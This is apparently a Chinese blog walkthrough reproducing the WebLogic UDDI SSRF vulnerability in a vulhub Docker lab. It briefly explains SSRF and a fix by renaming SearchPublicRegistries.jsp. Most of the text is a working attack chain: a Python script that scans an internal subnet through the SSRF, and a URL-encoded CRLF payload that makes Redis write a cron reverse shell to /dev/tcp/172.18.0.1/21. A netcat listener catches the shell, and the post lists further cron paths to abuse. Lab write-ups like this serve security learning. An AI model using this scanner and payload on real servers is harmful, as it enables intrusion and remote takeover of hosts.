Weblogic-SSRF 漏洞复现

应为这一阵正好在学习 SSRF 漏洞，又苦于本人太菜没有挖到 SSRF，只能复现...

先贴出很早之前央视网 SSRF 可窥探内网（Weblogic SSRF 案例）：https://www.secpulse.com/archives/38967.html

Weblogic 中存在一个 SSRF 漏洞，利用该漏洞可以发送任意 HTTP 请求，进而攻击内网中 redis、fastcgi 等脆弱组件

服务端请求伪造（Server-Side Request Forgery），是指 Web 服务提供从用户指定的 URL 读取数据并展示功能又未

对用户输入的 URL 进行过滤，导致攻击者可借助服务端实现访问其本无权访问的 URL。

攻击者无权访问的 URL 主要是内网，而对于不是 Web 服务的其他端口反回的一般是端口对应的服务的 banner 信息，

所以 SSRF 的一大利用是探测内网端口开放信息。（所以 SSRF 归类为信息泄漏类型）

漏洞出现位置与解决方法：

Weblogic 服务端请求伪造漏洞出现在 uddi 组件（所以安装 Weblogic 时如果没有选择 uddi 组件那么就不会有该漏洞），

更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。

所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了

我们这里采用的是改后辍的方式，修复步骤如下：

1.将 weblogic 安装目录下的 wlserver_10.3/server/lib/uddiexplorer.war 做好备份

2.将 weblogic 安装目录下的 server/lib/uddiexplorer.war 下载

3.用 winrar 等工具打开 uddiexplorer.war

4.将其下的 SearchPublicRegistries.jsp 重命名为 SearchPublicRegistries.jspx

5.保存后上传回服务端替换原先的 uddiexplorer.war

6.对于多台主机组成的集群，针对每台主机都要做这样的操作

7.由于每个 server 的 tmp 目录下都有缓存所以修改后要彻底重启 weblogic（即停应用--停 server--停控制台--启控制台--启 server--启应用）

理论部分已经交代完，下面开始实际操作，复现漏洞，这次使用 docker 来模拟漏洞环境

docker github 地址：https://github.com/vulhub/vulhub

搭建的载体为 Ubuntu，ip 为 192.168.0.131

搭建过程不在详述，搭建完成后，访问 http://your-ip:7001/uddiexplorer/ 无需登录即可查看 uddiexplorer 应用。

 ①　200 多本网络安全系列电子书②　网络安全标准题库资料③　项目源码④　网络安全基础入门、Linux、web 安全、攻防方面的视频⑤　网络安全学习路线图【戳此白嫖】

1|0SSRF 漏洞测试

SSRF 漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

我们在 brupsuite 下测试该漏洞。访问一个可以访问的 IP:PORT，如http://127.0.0.1:7001

我们访问的 IP 是内网 ip 地址，一般是拒绝访问的

当我们访问一个不存在的端口时，比如 http://127.0.0.1:7000

将会返回：could not connect over HTTP to server

当我们访问存在的端口时，比如 http://127.0.0.1:7001

可访问的端口将会得到错误，一般是返回 status code（如下图），如果访问的非 http 协议，则会返回：did not have a valid  SOAP content-type

正常我们是无法访问内网的，但是通过页面返回错误的不同，我们可以探测内网端口的开放状态，进而知道内网

开启的服务，同时加以利用

2|0 注入 HTTP 头，利用 Redis 反弹 shell

Weblogic 的 SSRF 有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，

而某些服务（如 redis）是通过换行符来分隔每条命令，也就说我们可以通过该 SSRF 攻击内网中的 redis 服务器。

首先，通过 ssrf 探测内网中的 redis 服务器，应为这个漏洞是用 docker 环境搭建的，所以 redis 服务器的内网即是

docker 的网段（docker 环境的网段一般是 172.*）：

下面用一个 python 小脚本来实现内网端口探测这个功能：

import threadimport timeimport reimport requestsdef ite_ip(ip):    for i in range(1, 256):        final\_ip = '{ip}.{i}'.format(ip=ip, i=i)        print final\_ip        thread.start\_new\_thread(scan, (final_ip,))        time.sleep(3)def scan(final_ip):    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')    for port in ports:        vul\_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final\_ip,port)        try:            #print vul_url            r = requests.get(vul_url, timeout=15, verify=False)            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)            result2 = re.findall('but could not connect', r.content)            result3 = re.findall('No route to host', r.content)              if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:                print '\[!\]'+final\_ip + ':' + port        except Exception, e:            passif \_\_name__ == '\_\_main\_\_':    ip = "172.18.0"      if ip:        print ip        ite_ip(ip)    else:        print "no ip"

尝试运行：

经过探测，我们发现了内网的一个 IP 存在 6379 端口，也就是 redis 服务：

我们这里要发送几行代码

发送三条 redis 命令，将弹 shell 脚本写入/etc/crontab：

1

2

3

4

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"

config ``set dir /``etc``/

config ``set dbfilename crontab

save

把这三条命令通过 get 包注入进去，先要将命令用 url 进行编码

注意，换行符是“\r\n”，也就是“%0D%0A”

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后我们把构造好的数据包通过 burp 进行发送 , 将 url 编码后的字符串放在 ssrf 的域名后面，发送：

接着靶机上开启端口监听，nc -lvnp 21 ,反弹 shell。成功。

最后补充一下，可进行利用的 cron 有如下几个地方：

• /etc/crontab 这个是肯定的

• /etc/cron.d/* 将任意文件写到该目录下，效果和 crontab 相同，格式也要和/etc/crontab 相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹 shell。

• /var/spool/cron/root centos 系统下 root 用户的 cron 文件

• /var/spool/cron/crontabs/root debian 系统下 root 用户的 cron 文件